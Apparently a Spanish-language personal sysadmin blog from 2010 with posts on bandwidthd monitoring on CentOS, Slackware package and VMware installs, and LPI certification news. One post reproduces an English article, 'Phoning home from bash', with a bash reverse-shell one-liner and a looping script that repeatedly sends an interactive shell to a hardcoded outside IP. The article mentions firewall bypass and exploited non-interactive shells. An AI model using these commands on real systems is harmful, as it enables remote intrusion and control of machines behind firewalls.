viernes, 23 de julio de 2010

Monitoreo de redes con bandwidthd sobre CentOS

Bien, pues una vez adentrado en el mundo de las redes, me corresponde ser responsable por el área de redes de la empresa donde laboro. 
Una parte que no me gustó cuando recibí el cargo sobre este departamento es que la documentación sobre la red es escasa, sólo me fue entregado un diagrama a bloques de quienes estaban conectados a un segmento de la red, sin configuraciones de los Routers, Switches, ni mucho menos se tiene un control de ancho de banda y del tráfico.

Por una parte ya me he dado a la tarea de documentar la mayoría de los aspectos que considero relevantes (también trato de hacerlo como especifica Cisco). En lo que respecta al control del ancho de banda, ya he podido reconfigurar los equipos pero aún me falta establecer la línea de base (baseline). Definiendo como línea de base, al conjunto de características que reunimos sobre la red y que nos proveen una perspectiva de su "personalidad", es decir, así sabremos cómo se aprovechan los recursos de red y en qué tiempos son mayormente demandados.
A recomendación de mi último instructor de Cisco, los puntos fuertes que se requieren monitorear para obtener la información son:
  • Latencia de Ping.
  • Carga de Memoria.
  • Carga del CPU
  • Cantidad de tráfico que atravieza por la interface (FastEthernet, Serial, GigabitEthernet, etc)
  •  Monitoreo por protocolo (TCP/UDP).
  • Una vez que se tiene el monitoreo por protocolo y que se ha descubierto el que genera mayor tráfico, entonces procedemos a monitorear por puertos (es obvio que hay algunos puertos que son mayormente usados para tráfico TCP y otros para tráfico UDP).
 Yo por lo pronto lo implementé sobre Centreon, un front-end web que utiliza como back-end Nagios, pero adicionalmente incorpora algunas herramientas como RRDtool y scripts. En mi caso utilicé Centreon para que trabaje en base a SNMP (Simple Network Management Protocol) y el uso de OID's, pero se puede hacer de muchas maneras; pero existe un pequeño problema con Centreon, el monitoreo de tráfico TCP/UDP lo hace por puerto, y primeramente requiero tener un panorama general del tráfico que atravieza la red, para ello me auxiliaré de la herramienta llamada Bandwidthd, descargable desde aquí.

Procediendo a la configuración, mencionaré que lo voy a hacer sobre CentOS release 5.4 (Final).

  1. Resolver todas las dependencias para compilar desde los archivos fuentes:
    • gcc (yum install gcc, solicitará confirmación para descargar las dependencias, así que contestamos: yes)
    • libpng-devel (yum install libpng-develsolicitará confirmación para descargar las dependencias, así que contestamos: yes)
    • gd-devel  (yum install gd-develsolicitará confirmación para descargar las dependencias, así que contestamos: yes)
    • libpcap-devel  (yum install libpcap-develsolicitará confirmación para descargar las dependencias, así que contestamos: yes)
    • make
  1. Descargamos el programa Bandwidht
  2. Lo copiamos a la carpeta /usr/src, sólo por buenas prácticas y por mantener el control de programas instalados en linux a partir de los fuentes.
  3. Descomprimimos el archivo con: tar xvzf bandwidthd-2.0.1.tgz
  4. Ingresamos a la carpeta bandwidthd-2.0.1
  5. Ejecutamos ./configure
  6. Si todo ha ido bien en el paso anterior, entonces no debería mostrar errores, ejecutamos make && make install 
  7. Con la ejecución anterior, ya tenemos instalado bandwidthd en nuestro linux. En mi caso, la instalación de los binarios quedó bajo el directorio /usr/local/bandwidthd y los archivos web están en /usr/local/bandwidthd/htdocs.
  8. Yo ya tengo corriendo el servicio de apache, y el directorio de los archivos web es /var/www/html con lo cual solo debo de hacer un enlace simbolico para poder acceder desde mi navegador. El enlace lo hice con ejecutar la instruccion ln -s /usr/local/bandwidhtd/htdocs /var/www/html/bandwidht.
  9. Ahora ya podemos ir al navegador e introducir http://localhost/bandwidhtd para poder visualizar las gráficas.
 NOTA: Ahora sólo faltará hacer unos ajustes a las configuraciones del archivo bandwidht.conf el cual en mi caso está localizado en la ruta /usr/local/bandwidhtd/etc/bandwidht.conf

En lo personal creo que Centreon puede ser usado a la par con bandwidhtd ya que la información que ésta provee es de manera genérica sobre el tráfico, asimismo nos proporciona una vista muy general sobre la red.

NOTA: Para quienes leyeron que sé usar Centreon y requieren documentación, déjenme decirles que la información SÓLO ESTÁ EN FRANCÉS, más tarde la publicaré porque debo traducir todo el manual al español y eso va a llevar tiempo. Como consejo les puedo decir que user el traductor de google para hacer búsquedas en francés, así como para traducir las páginas, yo ya lo probé y es bastante bueno, aunque no es perfecto (ojo, también puedo leer en francés).

miércoles, 21 de julio de 2010

mpeg4ip en slackware

 Ahora bien, después de tanto pelearme para querer compilar el paquete mpeg4ip en slackware y no haberlo logrado por algún fallo de dependencias aunado a la falta de experiencia mía así como la falta de información en internet, pues opté por "alienizar" los paquetes de otra distro, y obteniendo muy buenos resultados.
La lista de paquetes la descargué de ubuntu, creo que es quien los tiene disponibles únicamente en binarios, dichos paquetes son:


  • libavcodec52-0.5
  • libavutil49-0.5
  • libmp3lame0-3.98.2
  • libmpeg4ip-0-1.6
  • libx264-67-0
  • mpeg4ip-server-1.6
Una vez obtenidos, todos ellos tienen una extensión .deb, así pues, ingresamos al directorio donde los descargamos y usamos los comandos:

alien -t *.deb
installpkg *.tgz 

Listo, ya tenemos instalado mpeg4ip, listo para funcionar, sólo bastará con invocar mpeg4live en una consola para tenerlo corriendo.

Nota: No pongo los enlaces de los archivos ya que los descargué con la utilería apt-get de ubuntu y no tengo a la mano los repositorios de donde los descargó, por favor buscar repositorios de ubuntu. 

jueves, 17 de junio de 2010

Slackware 13.1 Released

 Well, well, it seems that I'm a little out of date, I said this because I thought that I was caring of the new Slackware Release, that already it's 13.1, and it's been since May 19th 2010. 
A few improvements are as follows: 
  • Runs the 2.6.33.4 version of the Linux kernel.
  • New packing format (since Slackware 13.0) is .txz, that brings a bettet file compression.
  • gcc-4.4.4
  • Support for fully encrypted network connections with OpenSSL,
      OpenSSH, OpenVPN, and GnuPG.
  • The KDE Software Compilation 4.4.3 


As many camarades know, I do really like this distro, because it bring me total control of my operating system, so I can really configure it as much as I want.
Well, I really expect that testing was enough because once I decided to install Slackware 13.0 and KDE version that came with it was really failing every time, so I finally decided to downgrade to the last stable version to KDE and I made an hybrid distro between Slackware 12.2 KDE desktop manager and Slackware 13.0 base system, but oh! oh! my touchpad didn't go well, I wondered, why? and a few days later I found the answer, graphics server Xorg doesn't need xorg.conf anymore, so I thought where can I configure my mouse or my touchpad??? Bah!!! lets reinstall Slackware 12.2 and leave those problems to be solved in the next release.


It seems that time has come, and I'll try again the latest release of Slackware, 13.1. 


It can be downloaded from here. 

Acuerdo Novell-LPI sobre certificación común

Rulando por Internet me encontré esta información bastante útil para quienes nos interesa el mundo Linux.


Se firma acuerdo  para certificación dual .....

Novell y el Instituto Profesional de Linux(LPI) Socios en Formación Linux y Procesos de Certificación

(SACRAMENTO, CA , US y WALTHAM, MA, US:  09 de Febrero del 2010) Novell Inc. y el Instituto Profesional de Linux (LPI) anuncian hoy  un acuerdo de Partners a nivel internacional para estandarizar sus programas de certificación de nivel junior o principiante en torno al LPIC-1. Dentro de este programa, los profesionales Linux que hayan alcanzado  la certificación LPIC-1 estarán satisfaciendo los requerimientos para la certificación Novell® Certified Linux Administrator (CLA). Y para demostrar un mayor apoyo, los Servicios de Formación de Novell han aceptado formalmente incluir los objetivos de formación del LPIC-1 en el material de estudio de su curso CLA.

 

“Como un reconocido proveeedor de software empresarial y servicios por más de 25 años, y el proveedor de la plataforma Linux más interoperable, Novell está muy bien posicionada para ofrecer  un exhaustivo programa de formación que asegura a los profesionales Linux poder lograr la reconocida certificación LPIC-1, facilitándoles a ellos el poder cumplir con los diversos requerimientos que exige un Centro de Datos en cuanto habilidades técnicas y confianza”, dijo Markus rex, Director General Vicepresidente senior de la Plataforma Abierta de Soluciones de Novell.

 

La elección de  Linux,  incluyendo SUSE® Linux Enterprise de Novell, se está acelerando desde el momento en que la industria busca soluciones que ahorren costes y que al mismo tiempo sea fiable y manejable. Un estudio global realizado en 2009 entre ejecutivos IT reveló que el 40 %   de los participantes piensa adquirir soluciones Linux adicionales para los siguientes 12-24 meses y el 49 % indicó que Linux será su principal plataforma de servidores de aquí a cinco años.

 

“ Este Acuerdo de Partners da una idea del enorme apoyo que el programa de certificación LPI tiene entre las amplias comunidades IT y Linux . Este apoyo histórico ha incluido contribuciones de proveedores como Novell y ha ayudado a LPI a transformarse en la certificación Linux más ampliamente reconocida y aceptada,” dijo Jim Lacey, presidente y CEO de LPI. “Esperamos expectantes poder trabajar conjuntamente con Novell para promover el desarrollo de la fuerza de trabajo Linux del futuro. En particular,  al alinear sus programas de estudio con los objetivos del LPIC-1, Novell ha reconocido la necesidad de la industria de contar con un programa de certificación independiente de proveedores y que prepare a los profesionales IT para trabajar con cualquier distribución Linux en el ambiente empresarial.”

 

Según los términos del acuerdo,  todos aquellos* que posean la certificación LPIC-1 tendrán la oportunidad de solicitar la certificación CLA de Novell sin necesidad de exámenes o pagos adicionales. El Servicio de Formación de Novell va a incluir los objetivos de LPIC-1 en el programa de estudio de su Linux Administrator y en programas que incluyen auto-estudio, bajo demanda, y presencial (* Este programa no está disponible en Japón)

 

 

“ En su condición de Partner de Formación Autorizado dentro del programa de partner de Novell, , SwitchDesk ha formado el personal IT de algunas de las empresas lideres del país como Ford Motor Company, Boeing, Macromedia, NASA y muchas más, afirmó Chris Clark, Pesidente y CEO de SwitchDesk Inc. “Nos alegra constatar el acuerdo de partner entre Novell y LPI que permite  desarrollar contenidos de cursos con objetivos alineados y  proveer certificaciones duales de tal forma que nuestros clientes poseerán una amplia gama de habilidades profesionales.”

 

Más información sobre como adquirir la certificación dual puede ser encontrada en Novell aquí:

www.needURL.com   y  en Linux Professional Institute aquí: www.lpi.org/cla

 

 

Sobre Novell:

Novell, Inc (Nasdaq:NOVL) prove la plataforma Linux* más interoperable y un portafolio de software de gestión IT integrado que ayuda a sus clientes alrededor del mundo a reducir costes, complejidad y riesgos. Con  nuestro software de infraestructura y ecosistema de Partners, Novell integra armónicamente entornos IT heterogeneos, permitiendo a la gente y la tecnología trabajar como uno solo. Por más información visite www.novell.com

 

 

Sobre el Instituto Profesional de Linux:

El Instituto Profesional de Linux promueve y certifica capacidades esenciales en Linux y tecnologías del Código Abierto a través de la creación de exámenes altamente comprensibles, de gran calidad y además independientes de cualquier distribución.

Establecido como un organismo internacional sin animo de lucro en Setiembre de 1999 y siendo una demanda de la comunidad Linux, el Instituto Profesional de Linux sigue demostrando un claro liderazgo en la certificación de profesionales Linux a nivel mundial. LPI ayuda a avanzar al movimiento Linux y Open Source a través de sus socios estratégicos, patrocinadores, programas innovadores, y actividades con la comunidad. Los mayores patrocinadores financieros de LPI son : los patrocinadores Platinium IBM, Linux Journal, Linux Magazine, Novell, SGI, y TurboLinux, como así también los patrocinadores Oro HP e IDG

Desde 1999, LPI ha realizado más de 230.000 exámenes y otorgado 75.000 certificaciones LPIC en todo el mundo.


Fuente Original del documento aquí


jueves, 13 de mayo de 2010

Phoning home from bash

Muy interesante artículo sobre telefonía desde una consola bash.
Revision 0.0, 22 January 2002

Bash can create an outgoing connection to a netcat listener in one line of code. This is a reverse telnet session.
1. Why
There are a couple of possible applications for this technique (if your version of bash supports it):
A dial-up machine can yield control to a central agency when it arrives on the internet. (This is great if you trust your routers...)
Control of a machine behind certain types of firewall (`just copy and paste this to your command line, and I'll sort your problem out')
It's a really fun thing to run instead of idonce you have a non-interactive shell on a machine by using the perl open '|command' bug) (I have code which does this ...)
Nobody seems to have done it before. All the other solutions I have seen utilise two pipes and two instances of telnet or netcat on the server side. Scripting of telnet is prone to error because of delay conditions, and netcat may not be available on the client side (although if it is, netcat -e can get you quite far sometimes).
2. How to
2.1 Client side stuff

On the client side, netcat listens for an incoming call.
netcat -l -p 22222

2.2 Server side stuff

On the server side, an interactive bash session is started, with input, output and error messages redirected to an outgoing TCP connection.
bash -i >& /dev/tcp/101.102.103.104/22222 0>&1

Probably your IP address is not 101.102.103.104 (it's reserved) so you can replace that with your own IP address.

3. Bugs
Job control doesn't work, since there is no terminal.
Ctrl+C doesn't work so well.
It's only one line.
Some distributions compile bash without support for special /dev/tcp handling. Hack into an different distribution if this happens to you.

4. Script
Here's a script which phones us repeatedly - very nice for remote support through a firewall.
#! /bin/bash
IP=196.30.113.3
PORT=65534
WHOAMI="`whoami`@`hostname -f`"
echo "
/////////////////////////////////////////////////
//
// This script is sending a shell as the user
// $WHOAMI to the address
// $IP (port $PORT)
//
/////////////////////////////////////////////////

"
while true; do
echo "`date`: Sending shell to $IP:$PORT"
{
echo "Welcome, $WHOAMI"
bash -i
} <> /dev/tcp/$IP/$PORT 1>&0 2>&1 &
sleep 10
done

Of course, you probably don't want to run this on your server without changing your IP addresses.

5. Licence

How do you licence one line of source code? You would have to be a little silly.

Fuente aquí.

Fuentes LPIC

A quien le interese, aquí dejo un par de excelentes referencias sobre el mundo linux, concretamente son ligas referentes al LPIC.

Como sabrán, los exámenes del LPI (Linux Professional Institute) certifican un mínimo de conocimiento sobre la administración de un sistema operativo Linux, dejando de lado la distribución, es decir, se enfoca en el conocimiento a fondo del sistema y su administración a través de la shell (para los no natos, es una consola de administración tipo MS-DOS, pero posee un lenguaje de programación de scripts propio, el cual ningún sistema Windos posee).

Descargas:

  • Linux 101 Examination, Modular Training Notes. PDF
  • Linux 102 Examination, Modular Training Notes. PDF
  • Linux 101 Examination, Modular Training Notes. OpenOffice Documents here.
  • Linux 102 Examination, Modular Training Notes. OpenOffice Documents here.

La fuente original de las descargas la encuentras aquí.

Como habrás de saber, para aprobar el nivel Junior del LPI, debes aprobar los exámenes LPI 101 y LPI 102.

lunes, 3 de mayo de 2010

Instalando VMWare 7.0.0 en Slackware


Bien, pues para que nadie sufra como yo al instalar vmware en mi slackware por primera vez, aquí posteo como se debe de hacer.

  1. Descargar los paquetes desde la página oficial, te pide registro para darte acceso a los links y para enviarte por correo una clave que funcionará por 30 días.
  2. Una vez descargado el archivo de instalación, copiarlo al directorio /usr/src (esto es para mantener cierto control sobre la paquetería que no tiene formato nativo de slackware)
    cp ~/VMware-Workstation-7.0.0-203739.i386.bundle /usr/src , recuerda que la tilde (~) indica el directorio de usuario donde lo descargaste.
  3. Cambiar al directorio /usr/src y ejecutar como usuario (no como superusuario) el comando kdesu sh VMware-Workstation-7.0.0-203739.i386.bundle
    Te pedirá la contraseña del administrador (en este caso es root)
  4. Se abrirá una ventana que te pregunta si aceptas los términos, hacer click en "I agree" y en "next" tantas veces como te lo pregunte hasta llegar a "Install"
  5. Esperar a que termine el copiado de los archivos, y, si todo ha ido sin problemas llegará al cuadro de diálogo que dice "Installation was successfull".
  6. Ahora, como todos sabemos, Slackware no es como las demás distros, sino que es bastante peculiar, en este caso me referiré a los modos de arranque que son (puedes verificarlo en el archivo /etc/inittab):

          # 0 = halt
    # 1 = single user mode
    # 2 = unused (but configured the same as runlevel 3)
    # 3 = multiuser mode (default Slackware runlevel)
    # 4 = X11 with KDM/GDM/XDM (session managers)
    # 5 = unused (but configured the same as runlevel 3)
    # 6 = reboot

De donde observamos que el runlevel para el arranque gráfico es el 4 y no el 5, como es el caso de las demás distros, por lo tanto si reinicias la máquina nunca arrancará el vmware ya que por default, el instalador coloca los scripts de inicio en la carpeta correspondiente al runlevel 5. Para arreglar ese pequeño problema hará falta copiar los archivos K08vmware y S19vmware ubicados en el directorio /etc/rc.d/rc5.d al directorio /etc/rc.d/rc4.d, entonces introducir el comando
cp /etc/rc.d/rc5.d/* /etc/rc.d/rc4.d

Hasta aquí la entrada sobre cómo instalar vmware en nuestra distro slackware.

Para iniciarlo bastará en una shell teclear vmware &

Dudas por favor postear y responderé...